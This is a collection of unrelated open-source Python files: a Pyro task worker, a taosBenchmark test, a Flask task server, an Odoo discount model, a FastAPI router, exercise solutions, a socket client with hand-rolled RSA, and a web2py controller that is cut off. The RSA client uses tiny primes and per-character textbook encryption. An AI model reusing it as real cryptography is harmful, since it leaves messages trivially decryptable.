whether or not multiple tasks should\n # be gathered from the worker queue during\n # each request for work\n self._bulk_task_collection = False\n\n if _pyro is None:\n raise ImportError(\"Pyro or Pyro4 is not available\")\n\n # Deprecated in Pyro3\n # Removed in Pyro4\n if using_pyro3:\n _pyro.core.initClient()\n\n if name is None:\n self.WORKERNAME = \"Worker_%d@%s\" % (os.getpid(),\n socket.gethostname())\n else:\n self.WORKERNAME = name\n\n self.ns = get_nameserver(host=host, port=port, caller_name=caller_name)\n if self.ns is None:\n raise RuntimeError(\"TaskWorkerBase failed to locate \"\n \"Pyro name server on the network!\")\n print('Worker attempting to find Pyro dispatcher object...')\n cumulative_sleep_time = 0.0\n self.dispatcher = None\n for i in xrange(0, num_dispatcher_tries):\n dispatchers = get_dispatchers(group=group, ns=self.ns)\n random.shuffle(dispatchers)\n for name, uri in dispatchers:\n try:\n if using_pyro3:\n self.dispatcher = _pyro.core.getProxyForURI(uri)\n else:\n self.dispatcher = _pyro.Proxy(uri)\n self.dispatcher._pyroTimeout = 10\n if not self.dispatcher.register_worker(self.WORKERNAME):\n if using_pyro4:\n self.dispatcher._pyroRelease()\n else:\n self.dispatcher._release()\n self.dispatcher = None\n else:\n break\n except _connection_problem:\n self.dispatcher = None\n if self.dispatcher is not None:\n if using_pyro4:\n self.dispatcher._pyroTimeout = None\n break\n sleep_interval = random.uniform(5.0, 15.0)\n print(\"Worker failed to find dispatcher object from \"\n \"name server after %d attempts and %5.2f seconds \"\n \"- trying again in %5.2f seconds.\" %\n (i + 1, cumulative_sleep_time, sleep_interval))\n time.sleep(sleep_interval)\n cumulative_sleep_time += sleep_interval\n\n if self.dispatcher is None:\n raise RuntimeError(\n \"Worker could not find dispatcher object - giving up\")\n\n # There is no need to retain the proxy connection to the\n # nameserver, so free up resources on the nameserver thread\n URI = None\n if using_pyro4:\n self.ns._pyroRelease()\n URI = self.dispatcher._pyroUri\n else:\n self.ns._release()\n URI = self.dispatcher.URI\n\n print(\"Connection to dispatch server %s established \"\n \"after %d attempts and %5.2f seconds - \"\n \"this is worker: %s\" %\n (URI, i + 1, cumulative_sleep_time, self.WORKERNAME))\n\n # Do not release the connection to the dispatcher\n # We use this functionality to distribute workers across\n # multiple dispatchers based off of denied connections\n\n def close(self):\n if self.dispatcher is not None:\n self.dispatcher.unregister_worker(self.WORKERNAME)\n if using_pyro4:\n self.dispatcher._pyroRelease()\n else:\n self.dispatcher._release()\n self.dispather = None\n\n def run(self):\n raise NotImplementedError #pragma:nocover\n\nclass TaskWorker(TaskWorkerBase):\n\n def __init__(self, type=None, block=True, timeout=None, *args, **kwds):\n\n self.type = type\n self.block = block\n self.timeout = timeout\n # Indicates whether or not we assume that all task\n # ids are contiguous and process them as such\n self._contiguous_task_processing = False\n self._next_processing_id = None\n TaskWorkerBase.__init__(self, *args, **kwds)\n\n def run(self):\n\n print(\"Listening for work from dispatcher...\")\n\n while 1:\n self._worker_error = False\n self._worker_shutdown = False\n try:\n tasks = None\n if self._bulk_task_collection:\n tasks_ = self.dispatcher.get_tasks(\n ((self.type, self.block, self.timeout),))\n assert len(tasks_) == 1\n assert self.type in tasks_\n tasks = tasks_[self.type]\n else:\n tasks = (self.dispatcher.get_task(\n type=self.type, block=self.block, timeout=self.timeout),)\n assert tasks is not None\n except _worker_connection_problem as e:\n x = sys.exc_info()[1]\n # this can happen if the dispatcher is overloaded\n print(\"***WARNING: Connection to dispatcher server \"\n \"denied\\n - exception type: \" + str(type(e)) +\n \"\\n - message: \" + str(x))\n print(\"A potential remedy may be to increase \"\n \"PYUTILIB_PYRO_MAXCONNECTIONS in your shell \"\n \"environment.\")\n # sleep for a bit longer than normal, for obvious reasons\n sleep_interval = random.uniform(0.05, 0.15)\n time.sleep(sleep_interval)\n else:\n if len(tasks) > 0:\n if self._verbose:\n print(\"Collected %s task(s) from queue %s\" %\n (len(tasks), self.type))\n results = {}\n # process tasks in order of increasing id\n for task in sorted(tasks, key=lambda x: x['id']):\n if self._verbose:\n print(\"Processing task with id=%s from queue %s\" %\n (task['id'], self.type))\n if self._contiguous_task_processing:\n # TODO: add code to skip tasks until the next contiguous\n # task arrives\n if self._next_processing_id is None:\n self._next_processing_id = task['id']\n if self._next_processing_id != task['id']:\n raise RuntimeError(\"Got task with id=%s, expected id=%s\"\n % (task['id'], self._next_processing_id))\n self._next_processing_id += 1\n self._worker_task_return_queue = \\\n _worker_task_return_queue_unset\n self._current_task_client = task['client']\n task['result'] = self.process(task['data'])\n task['processedBy'] = self.WORKERNAME\n return_type_name = self._worker_task_return_queue\n if return_type_name is _worker_task_return_queue_unset:\n return_type_name = self.type\n if self._worker_error:\n if return_type_name not in results:\n results[return_type_name] = []\n task['processedBy'] = self.WORKERNAME\n results[return_type_name].append(task)\n print(\n \"Task worker reported error during processing \"\n \"of task with id=%s. Any remaining tasks in \"\n \"local queue will be ignored.\" %\n (task['id']))\n break\n if self._worker_shutdown:\n self.close()\n return\n if task['generateResponse']:\n if return_type_name not in results:\n results[return_type_name] = []\n results[return_type_name].append(task)\n\n if self._worker_error:\n break\n\n if len(results):\n self.dispatcher.add_results(results)\n\nclass MultiTaskWorker(TaskWorkerBase):\n\n def __init__(self,\n type_default=None,\n block_default=True,\n timeout_default=5,\n *args,\n **kwds):\n\n TaskWorkerBase.__init__(self, *args, **kwds)\n\n #\n # **NOTE: For this class 'type' is\n # a tuple (type, blocking, timeout, local)\n #\n self._num_types = 0\n self._type_cycle = None\n self.push_request_type(type_default, block_default, timeout_default)\n\n # Called by the run() method to get the next work type to request,\n # moves index to the next location in the cycle\n def _get_request_type(self):\n new = None\n try:\n new = advance_iterator(self._type_cycle)\n except StopIteration:\n raise RuntimeError(\"MultiTaskWorker has no work request types!\")\n return new\n\n def current_type_order(self):\n \"\"\"\n return the full work type list, starting from the current\n location in the cycle.\n \"\"\"\n if self._num_types == 0:\n return []\n type_list = []\n for cnt in xrange(self._num_types):\n type_list.append(advance_iterator(self._type_cycle))\n return type_list\n\n def cycle_type_order(self):\n advance_iterator(self._type_cycle)\n\n def num_request_types(self):\n return self._num_types\n\n def clear_request_types(self):\n self._type_cycle = itertools.cycle([])\n self._num_types = 0\n\n def push_request_type(self, type_name, block, timeout):\n \"\"\"\n add a request type to the end relative to the current cycle\n location\n \"\"\"\n self._type_cycle = itertools.cycle(self.current_type_order() + \\\n [(type_name, block, timeout)])\n self._num_types += 1\n\n def pop_request_type(self):\n \"\"\"\n delete the last type request relative to the current cycle\n location\n \"\"\"\n new_type_list = self.current_type_order()\n el = new_type_list.pop()\n self._type_cycle = itertools.cycle(new_type_list)\n self._num_types -= 1\n return el\n\n def run(self):\n\n print(\"Listening for work from dispatcher...\")\n\n while 1:\n self._worker_error = False\n self._worker_shutdown = False\n try:\n tasks = self.dispatcher.get_tasks(self.current_type_order())\n except _worker_connection_problem as e:\n x = sys.exc_info()[1]\n # this can happen if the dispatcher is overloaded\n print(\"***WARNING: Connection to dispatcher server \"\n \"denied\\n - exception type: \" + str(type(e)) +\n \"\\n - message: \" + str(x))\n print(\"A potential remedy may be to increase \"\n \"PYUTILIB_PYRO_MAXCONNECTIONS in your shell \"\n \"environment.\")\n # sleep for a bit longer than normal, for obvious reasons\n sleep_interval = random.uniform(0.05, 0.15)\n time.sleep(sleep_interval)\n else:\n\n if len(tasks) > 0:\n\n if self._verbose:\n print(\"Collected %s task(s) from %s queue(s)\" %\n (sum(len(_tl)\n for _tl in itervalues(tasks)), len(tasks)))\n\n results = {}\n # process tasks by type in order of increasing id\n for type_name, type_tasks in iteritems(tasks):\n type_results = results[type_name] = []\n for task in sorted(type_tasks, key=lambda x: x['id']):\n self._worker_task_return_queue = \\\n _worker_task_return_queue_unset\n self._current_task_client = task['client']\n task['result'] = self.process(task['data'])\n task['processedBy'] = self.WORKERNAME\n return_type_name = self._worker_task_return_queue\n if return_type_name is _worker_task_return_queue_unset:\n return_type_name = type_name\n if self._worker_error:\n if return_type_name not in results:\n results[return_type_name] = []\n results[return_type_name].append(task)\n print(\n \"Task worker reported error during processing \"\n \"of task with id=%s. Any remaining tasks in \"\n \"local queue will be ignored.\" %\n (task['id']))\n break\n if self._worker_shutdown:\n self.close()\n return\n if task['generateResponse']:\n if return_type_name not in results:\n results[return_type_name] = []\n results[return_type_name].append(task)\n\n if self._worker_error:\n break\n\n if len(results):\n self.dispatcher.add_results(results)\n\n\ndef TaskWorkerServer(cls, **kwds):\n worker = cls(**kwds)\n if worker.ns is None:\n return\n try:\n worker.run()\n except _pyro.errors.ConnectionClosedError:\n print(\"Lost connection to dispatch server. \"\n \"Shutting down...\")\n except:\n worker.close()\n raise\n","repo_name":"PyUtilib/pyutilib","sub_path":"pyutilib/pyro/worker.py","file_name":"worker.py","file_ext":"py","file_size_in_byte":15746,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"61"} +{"seq_id":"39089529525","text":"import os\nimport subprocess\nfrom util.log import *\nfrom util.cases import *\nfrom util.sql import *\nfrom util.dnodes import *\n\n\nclass TDTestCase:\n def caseDescription(self):\n \"\"\"\n [TD-22022] taosBenchmark cloud test cases\n \"\"\"\n\n def init(self, conn, logSql):\n tdLog.debug(\"start to execute %s\" % __file__)\n tdSql.init(conn.cursor(), logSql)\n\n def getPath(self, tool=\"taosBenchmark\"):\n selfPath = os.path.dirname(os.path.realpath(__file__))\n\n if \"community\" in selfPath:\n projPath = selfPath[: selfPath.find(\"community\")]\n elif \"src\" in selfPath:\n projPath = selfPath[: selfPath.find(\"src\")]\n elif \"/tools/\" in selfPath:\n projPath = selfPath[: selfPath.find(\"/tools/\")]\n elif \"/tests/\" in selfPath:\n projPath = selfPath[: selfPath.find(\"/tests/\")]\n else:\n tdLog.info(\"Cannot find %s in path: %s\" % (tool, selfPath))\n projPath = \"/usr/local/taos/bin/\"\n\n paths = []\n for root, dummy, files in os.walk(projPath):\n if (tool) in files:\n rootRealPath = os.path.dirname(os.path.realpath(root))\n if \"packaging\" not in rootRealPath:\n paths.append(os.path.join(root, tool))\n break\n if len(paths) == 0:\n tdLog.info(f\"{tool} not found in {projPath}!\")\n return f\"/usr/local/taos/bin/{tool}\"\n else:\n tdLog.info(f\"{tool} is found in {paths[0]}!\")\n return paths[0]\n\n def run(self):\n binPath = self.getPath()\n cmd = \"%s -T 1 -t 2 -n 10 -g -y\" % binPath\n tdLog.info(\"%s\" % cmd)\n os.system(\"%s\" % cmd)\n\n taosPath = self.getPath(\"taos\")\n cmd = f\"{taosPath} -s 'select count(*) from test.meters'\"\n tdLog.info(f\"{cmd}\")\n cmdOutput = subprocess.check_output(cmd, shell=True).decode(\"utf-8\")\n tdLog.info(f\"{cmdOutput}\")\n if \"20 |\" in cmdOutput:\n tdLog.info(\"count of records is correct!\")\n else:\n tdLog.exit(\"count of records is incorrect\")\n\n def stop(self):\n tdSql.close()\n tdLog.success(\"%s successfully executed\" % __file__)\n\n\ntdCases.addWindows(__file__, TDTestCase())\ntdCases.addLinux(__file__, TDTestCase())\n","repo_name":"taosdata/taos-tools","sub_path":"tests/taosbenchmark/v3/cloud-test.py","file_name":"cloud-test.py","file_ext":"py","file_size_in_byte":2310,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"61"} +{"seq_id":"71311337796","text":"import queue\nimport yaml\nimport os\nimport sys\nimport uuid\nimport psutil\nimport datetime\nimport time\nimport traceback\nfrom multiprocessing import Manager\n\nfrom flask import Flask, request, jsonify, Response, stream_with_context\n\nSCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))\nsys.path.append(os.path.dirname(SCRIPT_DIR))\n\nfrom worker_thread import WorkerThread\n\nfrom main import main\nfrom src.utils.logger import init_logger\n\nclass AppServer:\n def __init__(self):\n self.app = Flask(__name__)\n\n # Define result dir\n self.root_path = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n time_stamp = datetime.datetime.utcnow().strftime(\"%Y-%m-%d_%H-%M-%SZ\")\n log_dir = os.path.join(self.root_path, 'logs')\n if not os.path.exists(log_dir):\n os.makedirs(log_dir)\n self.logger = init_logger(\"__main__\", log_dir, time_stamp)\n\n # Set up routes\n self.setup_routes()\n\n # Set up worker thread and data\n self.manager = Manager()\n self.request_queue = queue.Queue()\n self.results = self.manager.dict()\n self.worker = WorkerThread(self.request_queue, self.results)\n self.worker.start()\n\n def setup_routes(self):\n @self.app.route('/infer', methods=['POST'])\n def infer():\n data = request.data.decode('utf-8')\n try:\n config = yaml.safe_load(data)\n except yaml.YAMLError:\n return jsonify({\"error\": \"Invalid YAML format\"}), 400\n \n # Generate a unique id for each task\n task_id = str(uuid.uuid4())\n\n if self.inference_config_check(config):\n config['task_type'] = 'prediction'\n root_path = os.path.dirname(SCRIPT_DIR)\n result_dir = os.path.join(root_path, 'results', task_id)\n config['result_dir'] = result_dir\n if 'client_id' in config['model']:\n config['model']['weight'] = os.path.join(result_dir, config['model']['task_id'], 'checkpoints', 'last.pth')\n else:\n response = jsonify({\n 'status': 'error',\n 'message': 'Invalid config file for a inference task'\n })\n return response, 400\n\n self.logger.info(f\"Received request for task {task_id} with data: {data}\")\n self.logger.info(f\"CPU Usage: {psutil.cpu_percent()}%, Memory Usage: {psutil.virtual_memory().percent}%\")\n \n # add request into the queue\n self.request_queue.put((task_id, config))\n self.results[task_id] = self.manager.dict({\"status\": 1, \"result_dir\": result_dir})\n \n return jsonify({\"task_id\": task_id})\n\n @self.app.route('/train', methods=['POST'])\n def train():\n data = request.data.decode('utf-8')\n try:\n config = yaml.safe_load(data)\n except yaml.YAMLError:\n return jsonify({\"error\": \"Invalid YAML format\"}), 400\n \n # Generate a unique id for each task\n task_id = str(uuid.uuid4())\n \n if self.train_config_check(config):\n config['task_type'] = 'train'\n root_path = os.path.dirname(SCRIPT_DIR)\n result_dir = os.path.join(root_path, 'results', task_id)\n config['result_dir'] = result_dir\n else:\n response = jsonify({\n 'status': 'error',\n 'message': 'Invalid config file for a training task'\n })\n return response, 400\n\n self.logger.info(f\"Received request for task {task_id} with data: {data}\")\n self.logger.info(f\"CPU Usage: {psutil.cpu_percent()}%, Memory Usage: {psutil.virtual_memory().percent}%\")\n \n # add request into the queue\n self.request_queue.put((task_id, config))\n self.results[task_id] = {\"status\": 1, \"result_dir\": result_dir}\n \n return jsonify({\"task_id\": task_id})\n \n @self.app.route('/result/<task_id>', methods=['GET'])\n def get_result(task_id):\n self.logger.info(f\"Received request for getting results for task {task_id}\")\n if task_id not in self.results:\n return jsonify({\"status\": \"Task not found\"}), 404\n elif self.results[task_id][\"status\"] == 1:\n return jsonify({\"status\": \"Task not completed yet\"}), 202\n elif self.results[task_id][\"status\"] == -1:\n return jsonify({\"status\": \"Inference task failed\"}), 500\n else:\n result_dir = self.results[task_id][\"result_dir\"]\n result_file_path = os.path.join(result_dir, \"result.geojson\")\n if not os.path.exists(result_file_path):\n return jsonify({'error': 'Result file not found.'}), 404\n else:\n with open(result_file_path, 'r') as f:\n content = f.read()\n self.logger.info(f\"Return data for task {task_id}: {content}\")\n return jsonify({\"status\": \"completed\", \"data\": content})\n\n @self.app.route('/log/<task_id>', methods=['GET'])\n def get_log_stream(task_id):\n self.logger.info(f\"Received request for getting log for task {task_id}\")\n if task_id not in self.results:\n return jsonify({\"status\": \"Task not found\"}), 404\n else:\n result_dir = self.results[task_id][\"result_dir\"]\n log_file_path = os.path.join(result_dir, \"run.log\")\n if not os.path.exists(log_file_path):\n return jsonify({'error': 'Log file not found.'}), 404\n else:\n return Response(stream_with_context(self.generate_log_stream(log_file_path)), mimetype=\"text/plain\")\n\n @self.app.errorhandler(Exception)\n def handle_exception(e):\n error_message = traceback.format_exc()\n # Log the exception\n self.logger.error(f\"Exception occurred: {error_message}\")\n # Return error response\n return jsonify({\"error\": \"An error occurred while processing your request.\"}), 500\n\n def inference_config_check(self, config: dict):\n \"\"\"\n check the format of the inference config\n \"\"\"\n return True\n\n def train_config_check(self, config: dict):\n \"\"\"\n check the format of the training config\n \"\"\"\n return True\n \n def generate_log_stream(self, log_path: str):\n with open(log_path, \"r\") as f:\n # f.seek(0, os.SEEK_END)\n while True:\n line = f.readline()\n if not line:\n time.sleep(1)\n continue\n yield line\n\n def run(self):\n self.app.run(debug=True)\n\nif __name__ == '__main__':\n server = AppServer()\n server.run()","repo_name":"PPPPierre/Landfill_Prediction","sub_path":"deployment/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":7079,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9570238868","text":"n=int(input())\narr=list(map(int,input().strip().split()))[:n]\n#print(arr)\nl=[]\nd=0\nfor i in range(n):\n p=arr[i]\n if(p==0):\n d+=1\n if(p<0):\n p=p*-1\n while(p):\n d+=1\n p=p//10\n l.append(d)\n d=0\nl.sort()\n#print(l)\nq=0\nmax=l[n-1]\nfor i in range(n):\n if(l[i]==max):\n q+=1\nprint(q)","repo_name":"Sudheer0581/codemind-python","sub_path":"Max_digits_count.py","file_name":"Max_digits_count.py","file_ext":"py","file_size_in_byte":330,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"25482032646","text":"from odoo import fields, models, api\nfrom odoo.tools.float_utils import float_compare\n\n\nclass Dis_order_line(models.Model):\n\n _inherit = \"purchase.order.line\"\n\n discount = fields.Float(\"Discount (%)\")\n\n @api.depends('product_qty', 'price_unit', 'taxes_id')\n def _compute_amount(self):\n for line in self:\n vals = line._prepare_compute_all_values()\n taxes = line.taxes_id.compute_all(\n vals['price_unit'],\n vals['currency_id'],\n vals['product_qty'],\n vals['product'],\n vals['partner'])\n line.update({\n 'price_tax': sum(t.get('amount', 0.0) for t in taxes.get('taxes', [])) * (1 - line.discount / 100 ),\n 'price_total': taxes['total_included'],\n 'price_subtotal': taxes['total_excluded'],\n })\n\n def _prepare_account_move_line(self, move):\n self.ensure_one()\n if self.product_id.purchase_method == 'purchase':\n qty = self.product_qty - self.qty_invoiced\n else:\n qty = self.qty_received - self.qty_invoiced\n if float_compare(qty, 0.0, precision_rounding=self.product_uom.rounding) <= 0:\n qty = 0.0\n\n return {\n 'name': '%s: %s' % (self.order_id.name, self.name),\n 'move_id': move.id,\n 'currency_id': move.currency_id.id,\n 'purchase_line_id': self.id,\n 'date_maturity': move.invoice_date_due,\n 'product_uom_id': self.product_uom.id,\n 'product_id': self.product_id.id,\n 'price_unit': self.price_unit,\n 'discount': self.discount,\n 'quantity': self.product_qty,\n 'partner_id': move.commercial_partner_id.id,\n 'analytic_account_id': self.account_analytic_id.id,\n 'analytic_tag_ids': [(6, 0, self.analytic_tag_ids.ids)],\n 'tax_ids': [(6, 0, self.taxes_id.ids)],\n 'display_type': self.display_type,\n }","repo_name":"youssef-elassri/Discount_Purchase_ODOO13","sub_path":"models/dis_order_line.py","file_name":"dis_order_line.py","file_ext":"py","file_size_in_byte":2014,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23544538691","text":"#!/usr/bin/env python3\n\nnum_cases = int(input())\n\nflipper = {'+': '-',\n '-': '+'}\n\nfor case in range(1, num_cases+1):\n s, k = input().split()\n s = list(s)\n k = int(k)\n\n num_flip_positions = len(s) - k + 1\n\n num_flips = 0\n for idx in range(num_flip_positions):\n if s[idx] == '-':\n num_flips += 1\n s[idx:idx+k] = [flipper[p] for p in s[idx:idx+k]]\n\n if '-' in s[-k:]:\n answer = \"IMPOSSIBLE\"\n else:\n answer = num_flips\n\n print(\"Case #{case}: {answer}\".format(case=case, answer=answer))\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_199/2805.py","file_name":"2805.py","file_ext":"py","file_size_in_byte":563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2040525238","text":"#\n# @lc app=leetcode id=1035 lang=python\n#\n# [1035] Uncrossed Lines\n#\n\n# @lc code=start\nclass Solution(object):\n def maxUncrossedLines(self, nums1, nums2):\n \"\"\"\n :type nums1: List[int]\n :type nums2: List[int]\n :rtype: int\n \"\"\"\n\n n = len(nums1)\n m = len(nums2)\n matrix = [[0] * (m + 1) for _ in range(n+1)]\n maximum = 0\n for i in range(1, n+1):\n for j in range(1, m+1):\n if nums1[i-1] == nums2[j-1]:\n matrix[i][j] = matrix[i-1][j-1] + 1\n maximum = maximum if maximum > matrix[i][j] else matrix[i][j]\n else:\n matrix[i][j] = matrix[i-1][j] if matrix[i-1][j] > matrix[i][j-1] else matrix[i][j-1]\n\n\n return maximum\n \n\n# @lc code=end\nSolution().maxUncrossedLines([5,1,8], [8,1,5])\n\n","repo_name":"aryanjain28/DSA","sub_path":"revision_150/1035.uncrossed-lines.py","file_name":"1035.uncrossed-lines.py","file_ext":"py","file_size_in_byte":869,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"2833833202","text":"from fastapi import APIRouter, responses\nfrom .. import schemas, crud \n\nrouter = APIRouter(default_response_class=responses.ORJSONResponse)\n\n@router.post(\"/create_topk_search\", response_model=schemas.SearchResponse)\nasync def create_topk_search_api(search_schema: schemas.TopKSearchRequest):\n result = await crud.create_topk_search(search_schema)\n return result \n\n@router.post(\"/create_rl_search\", response_model=schemas.SearchResponse)\nasync def create_rl_search_api(search_schema: schemas.RLSearchRequest):\n result = await crud.create_rl_search(search_schema)\n return result \n\n@router.get(\"/get/{search_id}\", response_model=schemas.SearchResponse)\nasync def get_api(search_id: str, include_request: bool=True):\n item = await crud.get_search(search_id, include_request)\n return item \n\n@router.delete(\"/delete/{search_id}\")\nasync def delete_api(search_id: str):\n item = await crud.delete_search(search_id)\n return item \n\n@router.get(\"/scroll\", response_model=list[schemas.SearchResponse])\nasync def scroll_api(skip: int=0, limit: int=100, include_request: bool=True):\n items = await crud.scroll_search(skip, limit, include_request)\n return items \n\n@router.get(\"/get_results/{search_id}\")\nasync def get_api(search_id: str, skip: int=0, limit: int=10):\n item = await crud.get_results(search_id, skip, limit)\n return item \n\n@router.get(\"/get_batch_log/{search_id}\")\nasync def get_api(search_id: str, skip: int=0, limit: int=1):\n item = await crud.get_batch_log(search_id, skip, limit)\n return item \n\n\n\n","repo_name":"DarkMatterAI/emb_opt_server","sub_path":"app/api/search_api.py","file_name":"search_api.py","file_ext":"py","file_size_in_byte":1541,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1839168106","text":"from socket import *\r\nhost='localhost'\r\nport=12340\r\nimport math as mt\r\nimport random\r\nimport sympy\r\ns=socket(AF_INET,SOCK_STREAM)\r\ns.connect((host,port))\r\n\r\n\r\ndef mulinv(r1, r2):\r\n tr1 = r1\r\n t1 = 0\r\n t2 = 1\r\n l = []\r\n tg = []\r\n t2a = []\r\n while r1 > r2 and r1 > 1:\r\n q = r1 // r2\r\n t = t1 - (q * t2)\r\n l.append(q)\r\n tg.append(t)\r\n t2a.append(t2)\r\n r = r1 % r2\r\n r1 = r2\r\n r2 = r\r\n t1 = t2\r\n t2 = t\r\n m = t2a.pop()\r\n if (m < 0):\r\n m += tr1\r\n\r\n return (m)\r\n\r\n\r\ndef keygen():\r\n pq = []\r\n poe = []\r\n pq.append(sympy.randprime(10, 900))\r\n pq.append(sympy.randprime(10, 900))\r\n pa = pq[0]\r\n qa = pq[1]\r\n print(pq)\r\n tf = pa * qa\r\n sm = (pa - 1) * (qa - 1)\r\n for i in range(sm - 1, 2, -3000):\r\n if (mt.gcd(i, sm) == 1):\r\n poe.append(i)\r\n pu = random.choice(poe) # this is the public key\"\"\"\r\n\r\n pr = mulinv(sm, pu)\r\n return tf, pu, pr;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nn,us,rs=keygen()\r\npublic_key=[us,n]\r\nprivate_key=[rs,n]\r\nprint(\"client public key\",public_key)\r\nprint(\"client private key\",private_key)\r\n\r\noption = s.recv(1024) #option is send from\r\noption=int(option)\r\ns.send(str(us).encode())#sending client public key\r\ns_pu=s.recv(1024)\r\ns.send(str(n).encode())#sending N\r\n#recieve server keys now\r\ns_n=s.recv(1024)\r\n\r\ns_pu=int(s_pu.decode())\r\ns_n=int(s_n.decode())\r\n\r\n\r\n\r\ndef cipher(message):\r\n\r\n cipher_text = []\r\n cipherfin=[]\r\n\r\n for i in message:\r\n cipher_text.append(ord(i))\r\n for i in cipher_text:\r\n if option==1:\r\n c = pow(i,s_pu) % s_n\r\n elif option==2:\r\n c = pow(i,rs) % n\r\n elif option==3:\r\n c=pow(i,rs)%n\r\n if c>s_n:\r\n c=i\r\n c=pow(c,s_pu)%s_n\r\n\r\n\r\n\r\n\r\n\r\n cipherfin.append(str(c))\r\n cipherfin=' '.join(cipherfin)\r\n return cipherfin\r\n\r\n\r\ndef decipher(message):\r\n\r\n strmess = []\r\n mesde =message.split(' ')\r\n\r\n\r\n for j in mesde:\r\n if option==1:\r\n p = pow(int(j),rs) % n\r\n if option==2:\r\n p=pow(int(j),s_pu)%s_n\r\n if option==3:\r\n p=pow(int(j),rs)%n\r\n if(p not in range(32,127)):\r\n p=pow(p,s_pu)%s_n\r\n\r\n\r\n strmess.append(chr(p))\r\n strmess = ''.join(strmess)\r\n return strmess\r\n\r\n\r\n\r\nf=True\r\nwhile f:\r\n\r\n message = str(input(\"Your Message: \"))\r\n\r\n message=cipher(message)\r\n\r\n s.send(message.encode())\r\n print(\"Awaiting reply from server\")\r\n reply = s.recv(1024) # 1024 is max data that can be received\r\n print(\"***encrypted message***\")\r\n print (reply.decode())\r\n\r\n decrepl=decipher(str(reply.decode()))\r\n\r\n print(\"***decrypted message***\")\r\n print(decrepl)\r\n if decrepl==\"bye\":\r\n reply = cipher('bye')\r\n break\r\n\r\ns.close()\r\n","repo_name":"mohammadizhar/Cryptography","sub_path":"RSAclient.py","file_name":"RSAclient.py","file_ext":"py","file_size_in_byte":2905,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34375293705","text":"# coding=utf-8\r\n__author__ = 'Miguel Antonio'\r\n\r\nfrom gluon.tools import Expose\r\n\r\nmostrarmenu2()\r\n\r\n\r\ndef index():\r\n redirect(URL(c='default', f='index'))\r\n return\r\n\r\n\r\n@auth.requires_membership(role=\"Experto\")\r\ndef evaluar():\r\n db.evaluaciones.id_solicitudes.readable = False\r\n db.evaluaciones.evaluacion2.readable = False\r\n db.evaluaciones.ronda.writable = False\r\n db.evaluaciones.delphi.readable = False\r\n db.evaluaciones.evaluacion2.writable = False\r\n db.evaluaciones.delphi.writable = False\r\n consulta = (db.evaluaciones.evaluacion == \"Sin evaluación\") & (\r\n db.evaluaciones.id_experto == db.expertosasociados.id) & (\r\n db.expertosasociados.id_usuario == auth.user_id)\r\n form_evaluar = SQLFORM.grid(consulta, deletable=False, create=False, paginate=10, details=False,\r\n field_id=db.evaluaciones.id)\r\n if request.args(0) == 'edit':\r\n formulario = form_evaluar.components[1]\r\n if formulario.process().accepted:\r\n aux2(request.args(2))\r\n redirect(URL(c='experto', f='evaluar'))\r\n return dict(form=form_evaluar)\r\n\r\n\r\n@auth.requires_membership(role=\"Experto\")\r\ndef evaluar2():\r\n db.evaluaciones.evaluacion2.readable = False\r\n db.evaluaciones.evaluacion2.writable = True\r\n db.evaluaciones.evaluacion.writable = 0\r\n db.evaluaciones.delphi.writable = 0\r\n consulta = (db.evaluaciones.evaluacion2 == \"Sin evaluación\") & (\r\n db.evaluaciones.id_experto == db.expertosasociados.id) & (\r\n db.expertosasociados.id_usuario == auth.user_id) & (\r\n db.evaluaciones.ronda == 2)\r\n form_evaluar2 = SQLFORM.grid(consulta, create=False, user_signature=0, field_id=db.evaluaciones.id,\r\n deletable=False, paginate=10\r\n )\r\n if request.args(0) == 'edit':\r\n formulario = form_evaluar2.components[1]\r\n if formulario.process().accepted:\r\n aux2(request.args(2))\r\n redirect(URL(c='experto', f='evaluar2'))\r\n return dict(form=form_evaluar2)\r\n\r\n\r\n@auth.requires_membership(role=\"Experto\")\r\ndef ronda1():\r\n id_solicitud = request.args(0)\r\n id_aspecto = request.args(1)\r\n consulta = (db.evaluaciones.id_solicitudes == id_solicitud) & (\r\n db.evaluaciones.id_aspectossolicitud == id_aspecto) & (db.evaluaciones.evaluacion != \"\")\r\n form_ronda1 = SQLFORM.grid(consulta, user_signature=0, deletable=False, editable=False, paginate=10, create=False)\r\n return dict(form=form_ronda1)\r\n\r\n\r\n@auth.requires_membership(role=\"Experto\")\r\ndef mis_evaluaciones():\r\n db.evaluaciones.id_solicitudes.readable = False\r\n db.evaluaciones.ronda.readable = True\r\n consulta = (db.evaluaciones.evaluacion != 'Null') & (db.evaluaciones.id_experto == db.expertosasociados.id) & (\r\n db.expertosasociados.id_usuario == auth.user_id)\r\n form1 = SQLFORM.grid(consulta, deletable=False, create=False, details=False, paginate=10, editable=False)\r\n return dict(form1=form1)\r\n\r\n\r\ndef aux2(id_evaluacion):\r\n consulta = db(db.evaluaciones.id == id_evaluacion).select(db.evaluaciones.id_solicitudes,\r\n db.evaluaciones.ronda).first()\r\n id_solicitud = consulta['id_solicitudes']\r\n print(id_solicitud)\r\n ronda = consulta['ronda']\r\n contar = db((db.evaluaciones.id_solicitudes == id_solicitud) & (db.evaluaciones.evaluacion == \"Sin evaluación\") & (\r\n db.evaluaciones.ronda == 1)).count()\r\n if ((contar == 0) & (ronda == \"1\")):\r\n delphi(id_solicitud)\r\n c = (db.solicitudes.id == id_solicitud)\r\n miset = db(c)\r\n miset.update(estado=\"En ronda 2\")\r\n c2 = db(db.evaluaciones.id_solicitudes == id_solicitud).update(ronda=2)\r\n elif 